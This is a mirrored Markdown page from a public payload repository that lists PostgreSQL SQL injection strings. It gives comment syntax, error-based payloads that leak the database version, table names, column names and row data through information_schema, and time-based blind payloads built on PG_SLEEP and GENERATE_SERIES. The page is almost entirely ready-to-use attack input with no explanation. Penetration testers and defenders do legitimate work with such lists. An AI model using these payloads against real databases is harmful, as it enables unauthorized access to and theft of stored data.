mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-24 21:35:27 +00:00
24 lines
694 B
Markdown
24 lines
694 B
Markdown
# POSTGRESQL
|
|
|
|
## PostgreSQL Comments
|
|
|
|
```sql
|
|
--
|
|
/**/
|
|
```
|
|
|
|
## PostgreSQL Error Based - Basic
|
|
|
|
```sql
|
|
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
|
|
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
|
|
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
|
|
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
|
|
```
|
|
|
|
## PostgreSQL Time Based
|
|
|
|
```sql
|
|
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
|
|
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
|
|
``` |